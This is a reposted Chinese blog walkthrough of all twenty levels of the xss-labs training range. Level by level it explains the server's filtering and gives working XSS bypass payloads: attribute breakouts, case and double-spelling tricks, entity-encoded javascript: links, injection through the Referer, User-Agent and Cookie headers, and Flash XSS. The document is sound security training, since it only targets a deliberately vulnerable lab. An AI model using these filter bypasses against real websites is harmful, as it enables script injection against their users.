0


xss-labs靶场实战全通关详细过程(xss靶场详解)

啥都不懂的童鞋,可参考文章

xss概念理解:XSS跨站脚本攻击

xss常见标签:XSS常见触发标签

xss-labs下载地址https://github.com/do0dl3/xss-labs

level 1

查看网站源码,可以发现get传参name的值test插入了html里头,还回显了payload的长度

直接上payload,插入一段js代码,get传参

url?name=<script>alert()</script>

当然也能传其他的东西过掉第一关,建议参考XSS常见的触发标签

我们在看一下这关的源码

没有啥过滤的,很普通,单纯插入即可

本关小结: JS弹窗函数alert()


level 2

查看网站源码

第一个test可以跟上次一样直接插入js即可,我们先试试看

<script>alert()</script>

没成功,看一下源码

第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可,构造payload

">  <script>alert()</script>  <"

再看一下源码

果然进行了html实体转化

本关小结:闭合绕过


level 3

先输入123456,然后查看网站源码

相对于上一关,这里是单引号闭合,试一下看看

'> <script>alert()</script> <'

没想到符号也被实体化了,我们看一下源码

果然被实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过

先简单介绍一下onfocus事件

onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的,构造payload

' onfocus=javascript:alert() '

然后再点击输入框触发onfocus事件即可

本关小结 :onfocus可以绕过html实体化(即<>号的过滤)


level 4

查看一下网站源码

这里是双引号闭合,<input>标签,所以我们还能继续利用onfocus事件,构建payload

" onfocus=javascript:alert() "

看一下这关的源码

这里只是把<>号给删掉了,没多做过滤

本关小结:无


level 5

这关感觉常规的方法过不去,我们先试试看

" onfocus=javascript:alert() "

果然,这里on被替换成了o_n,先看一下这关的源码

过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法

href属性的意思是 当标签被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码

添加一个标签得闭合前面的标签,构建payload

"> <a href=javascript:alert()>xxx</a> <"

之后点击xxx,触发a标签href属性即可

本关小结:可以插入标签(如标签的href属性)达到js执行的效果,前提是闭合号<"">没失效


level 6

这感觉很悬,不知道过滤了啥,输入关键字测试看看

onfocus <script> <a href=javascript:alert()>

过滤了好多,看看大小写能不能绕过

OnFocus <sCriPt> <a hReF=javascript:alert()>

发现大小写没有被过滤掉,这题能利用大小写进行绕过,所以我们可以用下面的方法,构造payload

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"

完事查看一下这关的源码

这关甚至还过滤掉了data,但是没有添加小写转化函数 ,导致能用大写绕过

本关小结:大小写法绕过str_replace()函数


level 7

老规矩了,先上关键字试试看

" OnFocus <sCriPt> <a hReF=javascript:alert()>

传进去的值,经过转化后变成了

" focus <> <a =java:alert()>

不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过,

比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on

比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

所以这关主要是双拼写绕过,方法有很多,这里我们用href属性标签,构造play

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

完事我们看一下这关的源码

这关甚至还过滤掉了src和data,受不了了,居然还有我不知道的解法,我们百度找找看其他解法

参考XSS常见的触发标签

  • src(source)是一个指向,可以大概理解跟href一样把,只是执行的内容不太一样
  • data一般在<iframe>标签中用来配合date:text/html(貌似解码的含义)

第二关没啥过滤只有一个html实体转义,我们回到第二关测试一下

先试一下src,这里配合onerror属性,插入一个****标签,闭合掉双引号跟括号,构造payload

"> <img src='666' onerror=alert()> <"

onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数

当然img标签还有其他姿势

①当鼠标移出图片的时候执行的属性**onmouseout **

"> <img src=666 onmouseout="alert()"> <"

②当鼠标移动到图片的时候执行的属性onmouseover

"> <img src=1 onmouseover="alert()"> <"

再来看看data的,这里利用iframe标签,插入一个标签**data:text/html;base64, **将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是<script>alert()</script>

"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"

虽然有弹窗,但是没有过关 ,好了,下一关

本关小结:双拼写绕过删除函数,标签插入新姿势,标签与<iframe>标签插入


level 8

先输入123看看啥玩意

输入的值插入了两个地方,第一个是input标签,第二个是href属性,老方法,先看看过滤了啥关键字

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号),难搞哦,看一下这关的源码

果然,但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()

利用在线工具进行Unicode编码后得到,在线Unicode编码解码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

接着我们插入href里面

点击友情链接

本关小结: href属性自动解析Unicode编码


level 9

老套路,看看过滤了啥子

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

emmm,小老弟怎么回事,没插入成功???

看一下这关的源码

里呢,当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可


level 10

这里可以看到,Get传参的值,只插入了h2标签里头,额那下面的input标签啥东西,还隐藏掉了

不管那么多,老规矩,先测试一下关键字

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

居然都被实体化了,没法子,只能看一下这关的源码了

好吧,原来还有其他隐藏的传参方法,学到了,下次就一个个测,这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

?t_sort=" onfocus=javascript:alert() type="text

本关小结:根据源码猜解传参的参数名,隐藏的input标签可以插入type="text"显示


level 11

<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看

GET传参:

?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

没赋值成功,再试试看POST传参:

t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

POST传参也不得,那应该就referer头了,用burpsuite抓包一下,添加http头

Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

再查看一下源码

对比发现,把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头

Referer: " onfocus=javascript:alert() type="text

之后我们再看一下这关的源码

跟猜想的一样,这题还有GET传参的,但是有实体化函数在双引号就闭合不了了

本关小结:考虑一下http头传值,本关是referer,但接下来也有可能是其他头,如Cookie等


level 12

这肯定是User-Agent头了,再用burpsuite抓包一下,将User-Agent头修改为我们的测试代码

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

再查看一下源码

跟上题一样,构造UA头

" onfocus=javascript:alert() type="text

再看一下这关的源码

跟上一关就一个http头的区别

本关小结:跟上题一样,考虑一下http头传值


level 13

名字是t_cook,考虑到是cookie头,我们先看一下这个网页的cookie,F12打开

果然是,cookie名为user,我们直接在这里改一下就好,onfocus用腻了,换成onclick,用法也差不多,改为

" onclick=alert() type="text 

再刷新一下,点击框框就好了

再看一下这关的源码

一样,就一个头的区别

本关小结:还是http头传参


level 14

这关没啥交互,只是会定时转跳到一个奇怪的已经挂掉了的网站,直接看一下后端源码吧

emmm,跟网站源码一样,这题本来是利用转跳到的网站,在那网站去上传一个,属性里面含有xss代码的图片,以达到弹窗的效果,具体可参考xss-labs靶场-第十四关

由于网站挂了,这里就不能演示


level 15

可以看到这儿有个陌生的东西ng-include

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

我们先试试看包涵第一关,构建payload

?src='/level1.php'

所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload

?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如、<input>、

标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

当鼠标移动到图片的时候就触发了弹窗

当然也能用p标签,可以构造payload

?src='/level1.php?name=<p onmousedown=alert()>哈哈哈</p>'

点击哈哈哈即可弹窗,接下来我们看一下这关的后端源码

实体化函数,形同虚设

本关小结:ng-include文件包涵,可以无视html实体化


level 16

test插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签

abc

,谁知道也将/给替换成了空格,无奈,只好看一下后端源码

果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的

、<svg>等标签,更多标签可参考XSS常见的触发标签

随便选个标签,将空格替换成回车的url编码,构造payload

?keyword=<svg%0Aonload=alert(1)>

本关小结:回车代替空格绕过检测


level 17

先测测关键字吧

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

对比发现,虽然加了该死的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)

我们来看看embed标签是啥

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域

再看一下onfocus和onclick事件,这两事件是等价的,都是一触即发

支持的标签范围还广,也就是支持embed标签 ,这里呢我们可以尝试插入该标签

再看一下onmouse系列的事件

跟onfocus事件支持的标签一样

所以,这题的解法很简单,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png

改为:

这样我们再去打开第十七关的网站

就有个embed标签的区域在啦,其实用不用swf文件都一样的,主要是区域,接着我们构造payload

?arg02= onclick=alert()

点击一下区域就弹窗成功了

本关小结:emm,貌似就是熟悉一下触发事件(如onclick、onmouseover)的使用


level 18

这次不改后端代码了,换个支持flash插件的浏览器,Cent Browser。

先看一下源码

源码跟上关差别不大,就是换了个swf文件,我们直接测试一波过滤了啥,构建payload

?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

emmm,也是只搞了个html实体化函数,也没过滤啥,感觉跟上关一样,用事件触发属性即可(如onmouse系列、onfocus、onclick等)直接上payload

?arg02= onmousedown=alert()

再点一下embed标签区域

看一下后端源码

就这点过滤。。。。
本关小结:跟上一关一样,无!


level 19

网页源码差不多,也就是只有swf文件不同的差别,直接上payload

?arg02= onmouseup=alert()

emmm,大意了,还有实体化函数在无法闭合,那就利用其他的,看了一下大佬的wp

这关用到的是Flash Xss注入,可参考

Level 19 Flash XSS与Flash XSS 漏洞详解

其实就是往Flash里面插入一段js代码,然后手动执行嘛,构造payload

?arg01=version&arg02=<a href="javascript:alert()">here</a>

至于为啥arg01得传version,那就得去swf反编译才能知道了

本关小结:Flash xss了解一下就行,现在许多浏览器都用不上flash插件了


level 20

这关也是有双引号,呜呜呜,不想反编译,直接参考大佬的文章

Level 20 Flash XSS

直接构建payload,

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

终于通关了!!!太不容易啦


本文转载自: https://blog.csdn.net/l2872253606/article/details/125638898
版权归原作者 金 帛 所有, 如有侵权,请联系我们删除。

“xss-labs靶场实战全通关详细过程(xss靶场详解)”的评论:

还没有评论